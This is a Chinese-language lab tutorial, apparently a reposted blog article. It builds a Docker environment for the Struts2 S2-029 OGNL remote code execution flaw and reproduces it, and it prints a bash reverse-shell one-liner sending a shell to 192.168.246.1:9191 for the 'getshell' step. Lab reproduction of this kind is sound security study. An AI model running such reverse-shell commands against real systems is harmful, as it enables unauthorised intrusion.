框架漏洞-->Struts2 Docker_Vulnhub搭建

來淺淺的講一下Struts2漏洞

目錄

1.Docker_Vulnhub搭建

2.Struts2

3.Struts2的框架特征

4.S2-029-->Remote Code Execution

5.漏洞復現

1.RCE

2.Getshell


1.Docker_Vulnhub搭建

因為我用的是Linux,所以我選擇直接搭個docker,這里我建議先換個源

vim /etc/apt/sources.list

我用的清華源

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

換完之后記得更新一下

sudo apt update

然后就可以裝我們的docker啦!!!

sudo apt install docker.io

然后就是安裝docker-compose

sudo apt-get  install docker-compose

下載vulnhub

git clone https://github.com/vulhub/vulhub.git 
//如果上面這個太慢的話,可以試試下面這個wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zipunzip vulhub-master.zip

然后就是開啟docker環境

sudo systemctl start docker

?然后可以去查看一下

然后今天我們要復現的 s2-029在vulnhub里面沒有,所以需要我們自己去拉取

docker pull medicean/vulapps:s_struts2_s2-029

?然后去啟動漏洞環境

docker run -d -p 8081:8080 medicean/vulapps:s_struts2_s2-029

然后你就會發現網卡信息那里多了一欄

然后我們用本機的環境去訪問?kali的ip:8080/default.action

訪問成功,環境搭建成功

2.Struts2

Struts2是apache項目下的一個web 框架,普遍應用于阿里巴巴、京東等互聯
網、政府、企業門戶網站。用的java語言開發?
漏洞介紹:
Struts2漏洞是一個經典的漏洞系列,根源在于Struts2 引入了OGNL表達式使得框架
具有靈活的動態性 。隨著整體框架的補丁完善,現在想挖掘新的Struts2漏洞會比以前
困難很多,從實際了解的情況來看,大部分用戶早就修復了歷史的高危漏洞。目前在
做滲透測試時,Struts2漏洞主要也是碰碰運氣,或者是打到內網之后用來攻擊沒打補
丁的系統會比較有效。

3.Struts2的框架特征

Struts2 框架特征
查看被測應用系統的源碼, URL 接口地址以 .action ” “ .do 結尾或地址中包含 ! 符號,或者在被測應用的服務器上查看 應用所在目錄/WEB-INF/lib/下的jar文件,若存在struts2-core-
2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件 ,則需檢測是否 存在Struts2 遠程代碼執行漏洞。

4.S2-029-->Remote Code Execution

rce的原理

Struts2的動態性在于ongl表達式可以獲取到運行變量的值,并且有機會執行函數調用
。如果可以把惡意的請求參數送到ognl的執行流程中,就會導致任意代碼執行漏洞。

5.漏洞復現

1.RCE

這里我就直接用漏掃了?

于是就對應的去利用

看見是能成功rce的!!!

2.Getshell

能不能getshell呢,廢話,都能rce了,肯定能getshell啊!!!

先去開一下netcat

然后就是反向連接彈shell了

/bin/bash -c   "bash -i  >& /dev/tcp/192.168.246.1/9191 0>&1 "

這樣就是成功的getshell了!!!

當然了,這個有沒有手工的poc呢?? 肯定是有,不過很長?

最后養成好習慣,關閉docker環境

docker-compose down  //如果是上面的環境的話,就要走以下命令
sudo systemctl stop docker
sudo systemctl stop docker.socket
sudo systemctl status docker //最后查看一下環境是否關閉

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/718015.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/718015.shtml
英文地址,請注明出處:http://en.pswp.cn/news/718015.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

在Ubuntu22.04安裝Fcitx5中文輸入法教程(十分詳細)

前言 書接上回,一時興起將主力機的 Ubuntu 20.04 LTS 升級至了剛剛發布的 22.04 LTS。從 X 切換到 Wayland 、GNOME 從 3.36 升級至 42、Python 默認為 3.10 等等……使用太新的軟件包反而暫時帶來了麻煩,部分原有的軟件和插件都不可用了。這其中就包括…

【AI Agent系列】【MetaGPT多智能體學習】7. 剖析BabyAGI:原生多智能體案例一探究竟(附簡化版可運行代碼)

本系列文章跟隨《MetaGPT多智能體課程》(https://github.com/datawhalechina/hugging-multi-agent),深入理解并實踐多智能體系統的開發。 本文為該課程的第四章(多智能體開發)的第五篇筆記。今天我們拆解一個之前提到…

Docker之數據卷

文章目錄 一、什么是數據卷二、自定義鏡像 一、什么是數據卷 1.1Docker 數據管理 在生產環境中使用 Docker ,往往需要對數據進行持久化,或者需要在多個容器之間進行 數據共享,這必然涉及容器的數據管理操作 1.2操作 將宿主機的目錄與容器的目…

飛槳(PaddlePaddle)數據預處理教程

文章目錄 飛槳(PaddlePaddle)數據預處理教程1. 安裝飛槳2. 了解飛槳的數據預處理方法3. 應用單個數據預處理方法4. 組合多個數據預處理方法5. 在數據集中應用數據預處理5.1 在框架內置數據集中應用5.2 在自定義數據集中應用 6. 總結 飛槳(Pad…

使用DockerFile構建Tomcat鏡像

1、準備鏡像文件tomcat壓縮包,jdk的壓縮包 tomcat鏈接:https://pan.baidu.com/s/1Xpecb-BSGR2sdxSL7FDtBw?pwd1234 提取碼:1234 jdk鏈接:https://pan.baidu.com/s/1mQHInn27j1I9uuuicBsyAA?pwd1234 提取碼:1234 …

惠普GT5810打印機報錯E9的處理方法

當打印機檢測到供墨系統需要維護時,將會出現 E9 錯誤。 吳中函 打印出的帶錯誤的供墨系統維護頁包含解決該錯誤的說明。 出現 E9 警告時維持 HP Ink Tank 打印機的打印質量,出現 E9 警告時如何維持 HP Ink Tank 打印機的打印質量。 惠普5810報錯E9通常…

冒泡排序(C語言詳解)

原理:從左到右一次比較,如果左側數字比右側數字大(小),則兩數交換,否則比較下一 組數字,每一次大循環比較可以將亂序的最右側數字改為最大(最小)&#xff0c…

機房運維管理的全面優化:動環監控與IT基礎設施的深度融合

隨著信息技術的飛速發展,機房作為支撐企業信息化建設的核心樞紐,其運維管理的重要性日益凸顯。機房不僅要確保IT基礎設施的高可用性,還需應對日益復雜的安全挑戰和不斷變化的業務需求。因此,構建一個集動環監控、工單管理、資產管…

MySQL運維實戰之備份和恢復(8.2)xtrabackup備份到云端(OSS)

作者:俊達 xtrabackup工具中有一個xbcloud程序,可以將數據庫直接備份到S3對象存儲中,本地不落盤。這里介紹將數據庫直接備份到OSS的一種方法。 具體方法如下: 1、準備OSS 我們使用ossutil工具上傳備份文件。 下載ossutil工具&…

jupyter 一鍵快捷啟動方法研究

1.效果 首先打開dat 文件,同意賦予管理員 輸入序號1 成功啟動 2.Bat代碼 %1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&e…

mac報錯:zsh: command not found: npm

1、問題概述? 在mac系統中使用npm命令的時候,mac os報錯提示: zsh: command not found: npm 一般出現發這種情況的原因時沒有安裝npm,而npm這命令時集成在nodejs中的,所以安裝nodejs就可以了。 2、解決辦法 本質就是需要安裝…

Spring:FactoryBean預加載邏輯以及自定義實現Mybatis的接口掃描

Spring:FactoryBean預加載邏輯以及自定義實現Mybatis的接口掃描 1 前言 參考Mybatis框架的Mapper注解掃描Mapper接口的業務邏輯,其中集成Spring的邏輯里使用到了Spring框架的FactoryBean拓展點,本文針對Spring FactoryBean的加載流程進行分…

leetcode10正則表達式匹配

leetcode10正則表達式匹配 思路python 思路 難點1 如何理解特殊字符 ’ * ’ 的作用? 如何正確的利用特殊字符 ’ . ’ 和 ’ * ’ ? * 匹配零個或多個前面的那一個元素 "a*" 可表示的字符為不同數目的 a,包括: "…

【大廠AI課學習筆記NO.65】機器學習框架和深度學習框架

筆記思維腦圖已上傳,訪問我的主頁可下載。 https://download.csdn.net/download/giszz/88868909 廣義上,機器學習框架包含了深度學習框架。 本質上,機器學習框架涵蓋分類、回歸、聚類、異常檢測和數據準備等各種學習方法。 深度學習框架涵…

Android PMS——權限控制分析(十二)

PMS 中的權限控制通過權限管理和權限請求兩個方面來實現。應用在 Android 系統中需要聲明和請求權限,PMS 則會根據應用聲明的權限和用戶的選擇來進行權限的管理和控制。 一、主要函數 1、Settings 源碼位置:/frameworks/base/services/core/java/com/android/server/pm/Se…

SpringBoot啟動擴展應用:干預優化+加快啟動時間

一、SpringBoot啟動配置原理簡述 本內容直接查看分析SpringBoot啟動配置原理,傳送門: 二、SpringBoot啟動過程干預 Spring Boot啟動過程中我們可以實現以下干預工作: 修改Spring Boot默認的配置屬性。使用ConfigurationProperties和Enable…

python celery beat實現定時任務

在Celery在python中的應用除了實現異步任務(async task)外也可以執行定時任務(beat) 1.Celery定時任務是什么? Celery默認任務單元由任務生產者觸發,但有時可能需要其自動觸發, 而beat進程正是負責此類任務,能夠自動觸發定時/周期性任務. 只需要在配置…

吳恩達deeplearning.ai:學習曲線決定下一步怎么做

以下內容有任何不理解可以翻看我之前的博客哦:吳恩達deeplearning.ai專欄 學習曲線是一種圖形表示方法,用于展示模型在訓練過程中的學習表現,即模型的訓練集和驗證集上的性能如何隨著訓練時間的增加而變化。可以幫助我們了解模型的學習進度。…

Orbit 使用指南 01| 創建空白場景 | Isaac Sim | Omniverse

如是我聞: 在使用指南01中 演示如何使用獨立的Python腳本啟動和控制Isaac Sim模擬器。介紹Orbit框架中兩個最常用的類app.AppLauncher和sim.SimulationContext。實踐在Oribit中設置一個空場景 代碼 本指南對應于orbit/source/standalone/tutorials/00_sim目錄中的…

制作耳機殼的UV樹脂和塑料材質哪一個成本更高一些?

總體來說,制作耳機殼的UV樹脂的成本可能會略高于塑料材質。 原材料成本:UV樹脂通常是通過復雜的合成過程制成的。這些過程不僅需要大量的能源投入,還需要較高水平的技術和設備支持,因此原材料成本較高。相比之下,塑料…